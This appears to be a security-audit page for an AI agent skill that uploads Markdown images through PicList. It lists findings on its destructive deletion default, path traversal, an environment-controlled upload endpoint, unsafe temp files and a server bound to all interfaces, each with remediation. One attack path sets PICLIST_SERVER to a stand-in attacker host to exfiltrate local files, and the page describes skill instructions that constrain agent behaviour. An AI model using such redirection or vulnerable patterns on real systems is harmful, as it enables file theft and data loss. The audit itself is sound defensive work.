Back to skill

Security audit

PicList Upload

Security checks for vulnerabilities and agentic risk

Overview

This skill does the advertised PicList upload work, but its default deletion behavior and weak path/network scoping can expose or remove more local files than users may expect.

Install only if you understand that successful uploads delete local files by default. Use --dry-run first, prefer --keep-local, process only trusted Markdown files, keep PicList bound to 127.0.0.1, and use least-privilege image-host credentials. Avoid running it on untrusted repositories or documents that could contain crafted image paths.

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (5)

T01 · Skill Instruction Hijacking

Error
Location
SKILL.md:24
Finding
Destructive Default Instructions Override Safe Agent Behavior<![CDATA[ ## Vulnerability Details **File Location**: `SKILL.md:24-29` **Vulnerability Type**: Destructive skill instruction hijacking **Risk Level**: High ### Vulnerable Code Snippet The following is an English translation of the relevant Skill instructions: ```markdown Manual curl uploads are prohibited. All operations must be executed through the scripts/process.sh script. The default behavior is to delete local images after a successful upload. --keep-local may only be added when the user explicitly requests preservation. The agent must not preserve local images on its own. ``` ### Technical Analysis The Skill requires the agent to use a script whose default behavior deletes source images after uploading them. It also instructs the agent not to select the safer `--keep-local` option unless the user explicitly requests it. This conflicts with least-surprise and safe-default principles. The Skill's frontmatter describes uploading images and replacing local paths with cloud URLs, but does not prominently include deletion as part of the primary function. Consequently, a user can request image uploading without understanding that successful processing will remove the original files. The instruction also constrains the agent's ability to select a non-destructive execution mode, altering the agent's normal safety behavior when the Skill is loaded. ### Attack Path 1. A user asks the agent to upload images referenced by a Markdown document. 2. The agent loads the Skill instructions. 3. The Skill directs the agent to invoke `scripts/process.sh` without `--keep-local`. 4. The script uploads each referenced image. 5. After a successful upload, the script deletes the corresponding local image. 6. If the remote copy later becomes unavailable or the Markdown update fails, the original image may no longer be recoverable. ### Impact Assessment The issue can cause permanent loss of user-owned image files within the account privileges of the user running the agent ...[truncated 235 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Preserve local files by default. - Replace `--keep-local` with an explicit destructive option such as `--delete-local`. - Require affirmative user confirmation before deleting any source file. - Clearly disclose deletion behavior in the frontmatter description and immediately before execution. - Present the list of files proposed for deletion before making changes. - Provide a backup or recovery mechanism for in-place processing. - Do not instruct the agent to override its normal preference for non-destructive operations. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/process.sh:137
Finding
Markdown Path Traversal Allows Arbitrary Local File Upload and Deletion<![CDATA[ ## Vulnerability Details **File Location**: `scripts/process.sh:137-185` **Vulnerability Type**: Unrestricted local path resolution and unsafe file deletion **Risk Level**: Critical ### Vulnerable Code Snippet ```bash # Extract alt text and path local alt_text="${match#*\[}" alt_text="${alt_text%\]*}" local image_path="${match#*\]}" image_path="${image_path#[\(]}" image_path="${image_path%\)}" # Skip if already processed this path if [[ "$processed_paths" =~ "|$image_path|" ]]; then : $((skip_count++)) continue fi processed_paths="$processed_paths|$image_path|" # Skip if already a URL if [[ "$image_path" =~ ^https?:// ]]; then : $((skip_count++)) continue fi # Resolve relative path local full_path="$md_dir/$image_path" # Normalize path full_path=$(cd "$(dirname "$full_path")" 2>/dev/null && pwd)/$(basename "$full_path") 2>/dev/null || true # Check if file exists if [ ! -f "$full_path" ]; then echo " ⚠️ File not found: $image_path" >&2 : $((fail_count++)) continue fi if [ "$DRY_RUN" = true ]; then echo " 🔍 Would upload: $image_path" : $((upload_count++)) continue fi # Upload image echo " Uploading: $image_path..." local new_url new_url=$(upload_image "$full_path") if [ -n "$new_url" ]; then # Replace all occurrences in content content="${content//"$match"/![${alt_text}](${new_url})}" : $((upload_count++)) # Track for deletion (use full_path as key) uploaded_files["$full_path"]=1 # Delete local file immediately after successful upload delete_local_image "$full_path" ``` The upload operation accepts the resolved file without content validation: ```bash response=$(curl -s --noproxy '*' -w "\n%{http_code}" \ -X POST "$PICLIST_SERVER/upload" -F "file=@$image_path" 2>/dev/null) ``` ### Technical Analysis Markdown image paths are treated as trusted local paths. The normalization step resolves parent-directory components but does not verify that the final path remains ...[truncated 2034 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Establish an explicit permitted root for every processing operation. - Resolve both the permitted root and candidate path with `realpath` or an equivalent canonicalization mechanism. - Reject a candidate unless its canonical path is strictly contained within the permitted root. - Reject symbolic links or resolve them and repeat the containment check against the final target. - Enforce the documented extension allowlist. - Validate actual file content using trusted MIME detection or image decoding rather than relying only on file names. - Reject special files and require a regular file owned or approved by the user. - Never delete a referenced file merely because an upload endpoint returned success. - Require explicit deletion consent and display the canonical path before deletion. - Treat Markdown input as untrusted data, particularly during recursive directory processing. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/process.sh:5
Finding
Environment-Controlled Upload Endpoint Can Exfiltrate Files to an Arbitrary Host<![CDATA[ ## Vulnerability Details **File Location**: `scripts/process.sh:5-5` **Vulnerability Type**: Unvalidated remote upload destination and proxy-policy bypass **Risk Level**: High ### Vulnerable Code Snippet ```bash PICLIST_SERVER="${PICLIST_SERVER:-http://127.0.0.1:36677}" ``` The value is used directly for file uploads: ```bash response=$(curl -s --noproxy '*' -w "\n%{http_code}" \ -X POST "$PICLIST_SERVER/upload" -F "file=@$image_path" 2>/dev/null) ``` It is also used directly during endpoint probing: ```bash code=$(curl -s --noproxy '*' -o /dev/null -w "%{http_code}" \ -m 5 "$PICLIST_SERVER/upload" 2>/dev/null || echo "000") ``` ### Technical Analysis Although the default URL uses loopback, the `PICLIST_SERVER` environment variable is accepted without validating its scheme, host, port, or trust boundary. A wrapper, poisoned shell environment, CI configuration, or calling process can therefore redirect uploads to an attacker-controlled service. The use of `--noproxy '*'` forces direct network access for every configured destination, not only localhost. This can bypass organizational proxy inspection, filtering, access logging, and egress controls that would otherwise apply to remote requests. The script validates only the response structure and trusts a successful JSON result. It does not authenticate the PicList server or verify that it is the expected local service. ### Attack Path 1. An attacker influences the environment used to launch the Skill. 2. The attacker sets: ```bash export PICLIST_SERVER="https://attacker.example" ``` 3. The victim processes a Markdown file containing local image references. 4. The script constructs `https://attacker.example/upload`. 5. `curl --noproxy '*'` connects directly to the attacker-controlled host. 6. Each selected local file is submitted as multipart form data. 7. The attacker returns a response such as: ```json {"success":true,"result":["https://attacker.example/captured"]} ...[truncated 576 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Enforce loopback-only destinations by default, permitting only explicitly parsed addresses such as `127.0.0.1` and `::1`. - Parse the endpoint with a proper URL parser rather than string transformations. - Reject embedded credentials, unexpected schemes, fragments, user-information fields, and non-approved hosts. - If remote endpoints are required, use an explicit allowlist and require affirmative user approval for the exact destination. - Authenticate the server and use TLS with certificate verification for remote connections. - Apply `--noproxy` only to verified loopback destinations; do not bypass proxy policy for arbitrary hosts. - Sanitize the execution environment or accept the endpoint through an explicit, validated command-line option. - Display the final destination before uploading and before deleting any local source. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/process.sh:121
Finding
Predictable Temporary File and Non-Atomic Deletion Enable File Clobbering and Data Loss<![CDATA[ ## Vulnerability Details **File Location**: `scripts/process.sh:121-121` **Vulnerability Type**: Unsafe temporary-file handling and non-atomic destructive update **Risk Level**: High ### Vulnerable Code Snippet ```bash local temp_file="${md_file}.tmp" ``` The source image is deleted before the Markdown update is committed: ```bash # Delete local file immediately after successful upload delete_local_image "$full_path" ``` The predictable path is later opened and moved without exclusive creation or symlink validation: ```bash elif [ "$IN_PLACE" = true ]; then echo "$content" > "$temp_file" mv "$temp_file" "$md_file" echo " ✏️ File updated: $md_file" else echo "$content" fi ``` ### Technical Analysis The temporary file name is deterministically derived from the Markdown file name. The script neither creates it securely nor verifies whether it already exists as a symbolic link. Shell redirection follows symbolic links. An attacker able to create `document.md.tmp` before processing can point it to another file writable by the victim. The `echo > "$temp_file"` operation then truncates and overwrites that target. The subsequent `mv` can also replace the original Markdown path with the attacker-created temporary object. The update is not transactional. Source images are deleted immediately after each successful upload, before the script verifies that the modified Markdown can be written and moved into place. If writing fails, the process is interrupted, storage is exhausted, or `mv` fails, the document can retain stale local references after its source images have already been removed. Deletion also occurs when `--in-place` is not selected. In that mode, modified Markdown is printed to standard output while local images are still deleted, leaving the original on-disk document unchanged. ### Attack Path **Temporary-file clobbering:** 1. An attacker identifies a Markdown file the victim will process. 2. The attacker creates `docu ...[truncated 1116 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Create temporary files with `mktemp` in the same directory as the destination to preserve atomic rename semantics. - Set a restrictive `umask`, such as `077`, before temporary-file creation. - Refuse to use an existing path and verify that the temporary object is a regular file owned by the current process. - Install a trap to remove temporary files on interruption or failure. - Check the return status of every write, synchronization, and move operation. - Write and validate the complete updated Markdown before deleting any source images. - Atomically rename the completed temporary file over the original only after successful validation. - Preserve metadata where required and optionally create a backup of the original Markdown. - Delete source images only after the document commit succeeds and only after explicit user confirmation. - Never delete files in standard-output mode. ]]>

T05 · Unauthorized Access and Privilege Escalation

Error
Location
references/setup.md:42
Finding
Setup Instructions Expose the PicList HTTP Server on All Network Interfaces<![CDATA[ ## Vulnerability Details **File Location**: `references/setup.md:42-52` **Vulnerability Type**: Excessive network exposure and missing access-control guidance **Risk Level**: High ### Vulnerable Code Snippet ```json { "picBed": { "current": "your-uploader", "uploader": "your-uploader", "transformer": "path" }, "server": { "port": 36677, "host": "0.0.0.0", "enable": true } } ``` ### Technical Analysis The setup guide instructs users to bind PicList's HTTP server to `0.0.0.0`, which exposes the service on every available IPv4 network interface rather than restricting it to the local machine. The Skill itself is designed around a local PicList endpoint and defaults to `127.0.0.1`. Binding the service globally is therefore unnecessary for the stated use case. The guide provides no accompanying authentication, firewall, network segmentation, or trusted-client configuration. If the PicList server does not independently enforce authentication, systems on the same network—or broader networks where the port is routed—may be able to access its API. Because PicList is configured with cloud image-host credentials, unauthorized clients may indirectly consume those credentials through API operations even without reading the underlying tokens. ### Attack Path 1. A user follows the documented configuration and enables PicList with `"host": "0.0.0.0"`. 2. The operating system listens on port `36677` on LAN, VPN, container, and other available interfaces. 3. No host firewall or server authentication is configured according to the guide. 4. A remote party discovers the exposed port. 5. The remote party sends requests to the PicList HTTP API. 6. Where the service accepts unauthenticated operations, the party can trigger uploads or other exposed functionality using the user's configured image-host account. ### Impact Assessment The confirmed configuration broadens access from local processes to every network peer able to reach por ...[truncated 406 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Change the documented bind address from `0.0.0.0` to `127.0.0.1`. - Use `::1` separately if local IPv6 access is required. - Explicitly warn users not to expose the PicList API to untrusted networks. - If remote access is necessary, require strong authentication, TLS, firewall allowlisting, and network segmentation. - Restrict ingress to explicitly trusted client addresses. - Use least-privilege credentials for the configured image host. - Document how users can verify the listening address with platform-appropriate networking tools. - Add a startup check that rejects or warns about non-loopback PicList configurations. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (4)

Lp3

Medium
Category
MCP Least Privilege
Confidence
89% confidence
Finding
The skill advertises and requires shell execution (`bash scripts/process.sh`, `curl`, `jq`) but does not declare corresponding permissions. Hidden or undeclared execution capability reduces transparency and can bypass a user's expectation of what the skill is allowed to do, especially because the shell path can modify files and interact with local services.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The declared purpose focuses on uploading and replacing Markdown image links, but the documented behavior also includes deleting local image files by default, removing now-empty directories, and auto-launching a local application on macOS. These are materially more invasive actions than the headline description suggests, creating a risk of unexpected data loss or unintended local process execution when a user invokes the skill under incomplete assumptions.

Missing User Warnings

Medium
Confidence
96% confidence
Finding
The guide instructs users to set the PicList HTTP server host to `0.0.0.0`, which exposes the service on all network interfaces, but it does not warn that this may make the upload endpoint reachable from other machines on the LAN or beyond if port forwarding/firewall rules allow it. Because this skill is specifically about uploading files through a local HTTP service, unnecessary network exposure increases the risk of unauthorized access, misuse of the upload API, and unintended data leakage.

Missing User Warnings

Medium
Confidence
89% confidence
Finding
The setup instructions tell users to enter GitHub, OSS, COS, and SM.MS credentials, including high-value secrets such as GitHub `repo` tokens and cloud access keys, without any guidance on secret minimization, storage safety, or rotation. In a skill whose purpose is to automate uploads across files and devices, encouraging credential setup without handling warnings raises the chance of over-privileged tokens, accidental disclosure, and long-lived secret compromise.

Static analysis

No suspicious patterns detected.